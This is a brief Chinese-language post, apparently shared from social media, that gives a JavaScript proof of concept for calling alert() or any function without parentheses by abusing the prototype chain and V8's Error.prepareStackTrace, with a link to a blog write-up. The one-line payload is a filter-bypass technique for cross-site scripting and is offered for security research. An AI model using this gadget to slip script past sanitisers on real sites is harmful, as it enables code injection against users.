又一原型链仙人，完全无括号就能实现调用 alert() 等任何函数

POC:
Object.prototype.message='alert\x281337\x29'; Array.prototype.toString=Error.prototype.toString; Error.prepareStackTrace = Function; const x = new Error; x.valueOf=x.stack; +x;


src: https://blog.ikaes.de/yet-another…